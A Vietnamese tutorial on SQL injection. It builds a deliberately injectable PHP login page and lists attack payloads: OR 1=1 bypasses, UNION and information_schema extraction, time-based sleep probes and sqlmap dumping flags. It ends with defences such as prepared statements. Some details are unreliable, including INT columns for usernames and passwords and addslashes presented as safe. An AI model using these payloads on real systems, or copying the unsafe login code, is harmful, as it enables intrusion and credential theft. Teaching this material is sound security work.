---
# System prepended metadata

title: SQLi

---


# Trang web có chức năng login, register

## Tạo bảng `user` chứa các dữ liệu

Có thể tạo bảng trực tiếp trên phpMyAdmin hoặc dùng câu lệnh
```php
CREATE TABLE `user_tb` (
`id` INT NOT NULL AUTO_INCREMENT , 
`username` INT NOT NULL , 
`password` INT NOT NULL , 
`email` INT NOT NULL , 

PRIMARY KEY (`id`)
) ENGINE = InnoDB;
```
![image.png](https://hackmd.io/_uploads/SJ43f1zQp.png)


## Tạo file `connect.php`
```php
<?php
//thông tin kết nối
$HOST = 'localhost';
$USERNAME = 'root';
$PASSWORD = '';
$DB = 'user';

$conn  = new mysqli($HOST, $USERNAME, $PASSWORD, $DB);

//Kiếm tra kết nối
if ($conn->connect_error){
    die('Connection failed '.$conn->connect_error);

}
?>
```
## Tạo form đăng ký `register.php`
```htmlmixed

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SIGN UP</title>
</head>
<body>
    <h1>SIGN UP</h1>
    <form action="handle.php" method="POST">
        Username <td><input type="text" name="username1"></td><br><br>
        Password <td><input type="text" name="password1"></td><br><br>
        Email <td><input type="text" name="email1"></td><br><br>
        
        <input type="submit" value="Sign up"/>
        <a href="index_login.php">Do you have account?</a>
    </form>
</body>
</html>
```
![image.png](https://hackmd.io/_uploads/SJ9p_5GQT.png)


## Tạo file xử lý đăng ký `handle.php`
```php
<?php
include('connect.php');
//lấy dữ liệu
$username   = addslashes($_POST['username1']);
$password   = addslashes($_POST['password1']);
$email      = addslashes($_POST['email1']);
//kiểm tra miền trống
if(!empty($username) && !empty($password) && !empty($email) ) {
    $query = "INSERT INTO `user_tb` (`username`, `password`, `email`) VALUES('$username', '$password', '$email')";
    $result = $conn->query($query);
    if($result){
        echo "Successfully!<br>";
    }else{
        echo "ERROR {$sql}".$conn->error;
    }
}
else {
    echo "Please enter valid information";
}
if (mysqli_query($conn, $query)){
    echo "Username: ".$_POST['username1']."<br/>";
    echo "Password:" .$_POST['password1']."<br/>";
    echo "Email: ".$_POST['email1']."<br/>";
    echo "<a href='index_login.php'>Login</a>";
    }
    else {
    echo 'Error during processing!';
    }
?>
```
## Tạo file hiện thị đăng nhập `index_login.php`
```php
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>LOGIN</title>
</head>

<body>
    <h2>LOGIN</h2>
    <form action='login.php' method='POST'>
        Username <td><input type='text' id="user" name='username1' /></td><br /><br>
        Password <td><input type='password' id="pass" name='password1' /></td><br /><br>
        <input type='submit' name="login" value='Login' />
        <a href='register.php' title='Sign up'>Sign up</a>
    </form>
</body>

</html>
```
![image.png](https://hackmd.io/_uploads/rkcPKqzmp.png)
## Tạo file xử lý phần đăng nhập `login.php`
```php
<?php
session_start();
if (isset($_POST['login'])) {
    include('connect.php');//kết nối dữ liệu

    //Lấy dữ liệu 
    $username = $_POST['username1'];
    $password = $_POST['password1'];

    //kiểm tra miền trống
    if (!$username || !$password) {
        echo "Please enter information! <a href='index_login.php'>Back</a>";
        exit;
    }
    $query = "SELECT * FROM user_tb WHERE username='$username' and password='$password'";
    $result = $conn->query($query);
    // if (!$result) {
    //     echo "Invalid information!";
    // } else {
    //     echo "Login successfully!<br><br>";
    // }
   
    //Lấy mật khẩu
    $row = mysqli_fetch_array($result);//lấy dữ liệu theo kiểu mảng
    //kiểm tra mật khẩu
    if ($password != $row['password']) {
        echo "Incorrect password <a href='index_login.php'>Try again</a>";
        exit;
    }
    $_SESSION['username1'] = $username;
    echo "Hello " . $username . "!<br><br>";
   
    echo "<a href='register.php'>Back</a>";
}

?>
```
## Kết quả
Đăng ký
![image.png](https://hackmd.io/_uploads/S1h9ccfma.png)
![image.png](https://hackmd.io/_uploads/Hk6sqcM7p.png)
Đăng nhập
![image.png](https://hackmd.io/_uploads/SyEgscfma.png)

# SQLi
![image.png](https://hackmd.io/_uploads/H1BNuoXX6.png)

## 1. SQLi là gì? 
SQL Injection (SQLi) là lỗ hổng bảo mật web cho phép kẻ tấn công can thiệp vào các truy vấn mà ứng dụng thực hiện đối với cơ sở dữ liệu của nó. 

SQLi thành công có thể dẫn đến truy cập trái phép vào dữ liệu nhạy cảm như mật khẩu, chi tiết thẻ tín dụng, thông tin cá nhân người dùng...
## 2. Các dạng tấn công SQLi
![](https://hackmd.io/_uploads/S139uiAfp.png)

### 2.1 In-band SQLi
`In-band SQLi` là dạng tấn công phổ biến nhất, được sử dụng để khởi chạy các lỗi cơ sở dữ liệu và thu thập các kết quả từ cuộc tấn công đó. Loại tấn công này này hoạt động dựa trên hai kỹ thuật tấn công chính là `Error-based `và `Union-based`.
- Error-based: Là một kỹ thuật tấn công SQL Injection dựa vào thông báo lỗi được trả về từ Database Server có chứa thông tin về cấu trúc của cơ sở dữ liệu.
![](https://hackmd.io/_uploads/Sk16Ln0fa.png)

- Union-based SQLi: Là một kỹ thuật tấn công SQL Injection dựa vào toán tử UNION trong ngôn ngữ SQL, cho phép tổng hợp kết quả của 2 hay nhiều câu truy vấn `SELECTION` trong cùng 1 kết quả và được trả về như một phần của HTTP response
![](https://hackmd.io/_uploads/BJRlDhCza.png)
### 2.2. Inferential SQLi (Blind SQLi)
Inferential SQLi: kẻ tấn công sẽ cố gắng xây dựng lại cấu trúc cơ sở dữ liệu bằng việc gửi đi các payloads, dựa vào kết quả phản hồi của web application và kết quả hành vi của database server.
- Blind-boolean-based: Là kĩ thuật tấn công SQL Injection dựa vào việc gửi các truy vấn tới cơ sở dữ liệu bắt buộc ứng dụng trả về các kết quả khác nhau phụ thuộc vào câu truy vấn là True hay False.
- Time-based Blind SQLi: là kĩ thuật tấn công dựa vào việc gửi những câu truy vấn tới cơ sở dữ liệu và buộc cơ sở dữ liệu phải chờ một khoảng thời gian (thường tính bằng giây) trước khi phản hồi.
### 2.3. Out-of-band SQLi
- Out-of-band SQLi không phải dạng tấn công phổ biến, chủ yếu bởi vì nó phụ thuộc vào các tính năng được bật trên Database Server được sở dụng bởi Web Application.
- Kiểu tấn công này xảy ra khi kẻ tấn công không thể trực tiếp tấn công và thu thập kết quả trực tiếp trên cùng một kênh (In-band SQLi), đặc biệt là việc phản hồi từ server là không ổn định.


## 3. Khai thác SQLi
Để phát hiện một ứng dụng web có dính lỗi SQL injection hay không thì ta có thể thêm vào câu truy vấn các meta character trong các hệ quản trị cơ sở dữ liệu, chẳng hạn như dấu `'`, `""`, `;` và các ký tự comment (`--, ##, /**/`)… và chờ xem ứng dụng web sẽ xứ lý câu truy vấn đó như thế nào.
### 3.1. Dùng phép toán logic
```
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```
Ví dụ: Dùng `' or 1=1-- -` để kiểm tra. Nhập `' or 1=1-- -` vào trường `username` với mật khẩu tùy ý.
![image.png](https://hackmd.io/_uploads/SJl9OOQmp.png)
Khi đó web sẽ thực hiện truy vấn
```
SELECT * FROM user_tb WHERE username = '' OR 1=1-- ' AND password = '2'
```
Do comment `--` khiến phần còn lại của truy vấn bị bỏ qua nên điều này tương đương với
```
SELECT * FROM user_tb WHERE username = ' ' OR 1=1 '
```

### 3.2. Dùng `UNION`
Bạn có thể sử dụng từ khóa `UNION` để truy xuất dữ liệu từ các bảng khác trong cơ sở dữ liệu.

Để một truy vấn `UNION` hoạt động, phải đáp ứng hai yêu cầu chính:
- Các truy vấn riêng lẻ phải trả về cùng số cột.
- Các kiểu dữ liệu trong mỗi cột phải tương thích giữa các truy vấn riêng lẻ.

```
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
```
Truy vấn SQL này trả về một tập kết quả duy nhất có hai cột, chứa các giá trị từ các cột `a` và `b` trong `table1` và các cột `c` và `d` trong `table2`.

Để thực hiện cuộc tấn công `UNION` SQL, hãy đảm bảo rằng cuộc tấn công của bạn đáp ứng hai yêu cầu này:
- Có bao nhiêu cột được trả về từ truy vấn ban đầu.
- Những cột được trả về từ truy vấn ban đầu thuộc loại dữ liệu phù hợp để chứa kết quả từ truy vấn được chèn.

#### Dùng `ORDER BY` để tìm số cột
Có thể dùng một loạt mệnh đề `ORDER BY` và tăng chỉ số cột được chỉ định cho đến khi xảy ra lỗi.
 ```
 ' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
 ```
Cột trong `ORDER BY` có thể được chỉ định bằng chỉ mục của nó, do đó bạn không cần biết tên của bất kỳ cột nào. Khi chỉ mục cột được chỉ định vượt quá số cột thực tế trong tập kết quả, cơ sở dữ liệu sẽ trả về lỗi,
 
#### Dùng `UNION SELECT` để khai thác
```
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
```
Giống như `ORDER BY`, web có thể trả về lỗi cơ sở dữ liệu trong phản hồi HTTP của nó, nhưng có thể trả về lỗi chung hoặc đơn giản là không trả về kết quả nào. Khi số lượng `null` khớp với số cột, cơ sở dữ liệu sẽ trả về một hàng bổ sung trong tập kết quả, chứa các giá trị `null` trong mỗi cột.

Ví dụ: 
![image.png](https://hackmd.io/_uploads/rkLTXq7X6.png)
Do số cột trong dữ liệu (trang web trên) là 4 nên khi sử dụng `' UNION SELECT 1-- -` sẽ xảy ra lỗi vì `UNION SELECT` có số cột khác vói truy vấn ban đầu.
![image.png](https://hackmd.io/_uploads/H1QHNqm7a.png)
Khi liệt kê đủ các cột:
![image.png](https://hackmd.io/_uploads/rkp3E57X6.png)
Ta sẽ đăng nhập và thu được dữ liệu
![image.png](https://hackmd.io/_uploads/ryhbI5mQ6.png)

Kết hợp với hàm `group_concat()` để trích xuất CSDL
- Database names
`1' UNION SELECT 1,2,3,group_concat(0x7c,schema_name,0x7c) FROM information_schema.schemata --`

- Tables of a database
`1' UNION SELECT 1,2,3,group_concat(0x7c,table_name,0x7C) FROM information_schema.tables WHERE table_schema=[database]-- `

- Column names
`1' UNION SELECT 1,2,3,group_concat(0x7c,column_name,0x7C) FROM information_schema.columns WHERE table_name=[table name]-- `

Truy xuất nhiều giá trị trong 1 cột. Ví dụ:
```
' UNION SELECT username || '~' || password FROM users-- 
```
`||`là toán tử nối chuỗi trên Oracle.

Truy vấn được chèn nối các giá trị của trường `username` và `password` với nhau, phân tách bằng ký tự `~`.
### 3.3. Xác nhận bằng thời gian
Trong một số trường hợp, bạn không nhận thấy bất kỳ thay đổi nào trên trang bạn đang kiểm tra. Do đó, một cách hay để phát hiện blind SQL injections là bắt DB thực hiện các hành động tác động đến thời gian trang cần tải.
```
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
### 3.4. Dùng SQLMap
Lấy mật khẩu:
- internal:
     
```
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
```
- DB data

```
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```   


## 4. Cách ngăn chặn SQLi
### 4.1.  Sử dụng Prepared Statements
Prepared Statements là một tính năng được sử dụng để thực thi lặp đi lặp lại các câu lệnh SQL giống nhau (hoặc tương tự) với hiệu quả cao. 

So với việc thực thi trực tiếp các câu lệnh SQL, Prepared Statements có ba ưu điểm chính:
- Giúp giảm thời gian phân tích cú pháp vì việc chuẩn bị truy vấn chỉ được thực hiện một lần (mặc dù câu lệnh được thực thi nhiều lần)
- Các tham số bị ràng buộc sẽ giảm thiểu băng thông (bandwidth) đến máy chủ vì bạn chỉ cần gửi các tham số mỗi lần chứ không phải toàn bộ truy vấn.
- Rất hữu ích trong việc chống lại việc SQLi, bởi vì các giá trị tham số, được truyền sau bằng một giao thức khác, không cần phải thoát một cách chính xác.

#### PDO (PHP Data Objects) với Prepared Statement

```php!
<?php
$sql = "SELECT * FROM user_tb WHERE username=? AND password=?";
//Chèn dấu chấm hỏi (?) vào nơi muốn thay thế bằng một giá trị số nguyên, chuỗi,...

//tạo prepared statement
$stmt = mysqli_stmt_init($conn); //khai báo CSDL sử dụng với statement

//kiểm tra statement
if(!mysqli_stmt_prepare($stmt,$sql)){//hàm này chuyển SQL sang Statement
    echo "SQL Statement failed";
}
else{
    mysqli_stmt_bind_param($stmt, 'ss', $username, $password); //kết nối tham số trong CSDL
    //Đối số "ss" liệt kê các loại dữ liệu chứa tham số. Ký tự s cho biết rằng tham số là một chuỗi.
    // i - integer
    // d - double
    // s - string
    // b - BLOB
    mysqli_stmt_execute($stmt);//thực thi statement
    $result = mysqli_stmt_get_result($stmt);
}
?>
```

#### MySQLi (MySQL Improved Extension) với Prepared Statement

```php
<?php
$sql = "SELECT * FROM user_tb WHERE username=? AND password=?";
$stmt = $conn->prepare($sql);

$stmt->bind_param("ss", $username, $password);
$stmt->execute();

?>
```
### 4.2. Input Validation and Sanitization
Điều này bao gồm việc kiểm tra  các loại dữ liệu, giới hạn độ dài và sử dụng các chức năng xóa bỏ các ký tự đặc biệt, chẳng hạn như:
- Hàm `htmlspecialchars()` chuyển đổi một số ký tự `&`,`'`,`"`, `>`, `<` thành các ký tự HTML. (https://www.w3schools.com/php/func_string_htmlspecialchars.asp)
- Hàm `mysql_real_escape_string()` sẽ chuyển các ký tự đặc biệt trong chuỗi thành các ký tự hợp lệ để truy vấn cơ sở dữ liệu.
```
$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
```
- Hàm `addslashes()` thêm dấu gạch chéo `\` trước các ký tự đặc biệt như dấu `'`, `"`, `;` `\` trong chuỗi. Ví dụ khi người dùng nhập giá trị cho biến $username là `' OR 1=1 --` sau khi sử dụng hàm trên sẽ trở thành `\' OR 1=1 --`. Câu truy vấn khi đó: `SELECT * FROM users WHERE username = '\' OR 1=1 --'` trở nên an toàn.

```
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
```
### 4.3. Nguyên tắc đặc quyền tối thiểu
Chỉ định các đặc quyền cần thiết tối thiểu cho các tài khoản cơ sở dữ liệu được ứng dụng của bạn sử dụng. Giới hạn quyền truy cập của họ chỉ vào các cơ sở dữ liệu, bảng và hoạt động cần thiết. Điều này giảm thiểu tác động tiềm tàng của một cuộc tấn công SQL injection.

- Một số lệnh **SQL** quan trọng:
   - `SELECT`- trích xuất dữ liệu từ cơ sở dữ liệu
   - `UPDATE`- cập nhật dữ liệu vào cơ sở dữ liệu
   - `DELETE`- xóa dữ liệu khỏi cơ sở dữ liệu
   - `INSERT INTO`- chèn dữ liệu mới vào cơ sở dữ liệu
   - `CREATE DATABASE`- tạo cơ sở dữ liệu mới
   - `ALTER DATABASE`- sửa đổi cơ sở dữ liệu
   - `CREATE TABLE`- tạo một bảng mới
   - `ALTER TABLE`- sửa đổi một bảng
   - `DROP TABLE`- xóa một bảng
   - `CREATE INDEX`- tạo chỉ mục (khóa tìm kiếm)
   - `DROP INDEX`- xóa một chỉ mục


Ví dụ:
![image.png](https://hackmd.io/_uploads/SkrV8-VX6.png)

Kết quả

![image.png](https://hackmd.io/_uploads/SJi0LW47a.png)

### 4.4. Tường lửa ứng dụng web (WAF)
Triển khai WAF để giúp phát hiện và ngăn chặn các cuộc tấn công SQL injection tiềm ẩn. WAF có thể phân tích lưu lượng truy cập đến, xác định các mẫu đáng ngờ và chặn các yêu cầu có hành vi giống như SQL injection.
![image.png](https://hackmd.io/_uploads/SyQrGZVm6.png)

WAF là từ viết tắt của Web Application Firewall, đây là một thiết bị Proxy giúp xử lý các giao thức HTTP nhằm bảo vệ ứng dụng Web hiệu quả. WAF sẽ kiểm tra lưu lượng truy cập và lọc ra những yêu cầu nào có mối đe dọa xâm phạm đến trang Web trước khi đến ứng dụng Web.
#### 4.5. Framework Rail
- Sử dụng các Rails built-in sanitization methods: Framework Rails tích hợp các built-in sanitization Những method này có sẵn thông qua class `ActiveRecord::Base` và có thể được sử dụng để "làm sạch" dữ liệu người dùng trước khi được sử dụng trong câu truy vấn. 
- Sử dụng các Rails built-in escaping methods:  `Active Record's attribute methods`, `Active Record's sanitize methods`, `Active Record's quoting methods`, `Active Record's type casting methods`, `Active Record's quoting methods`, `Active Record's escaping methods`
# WRITE-UP
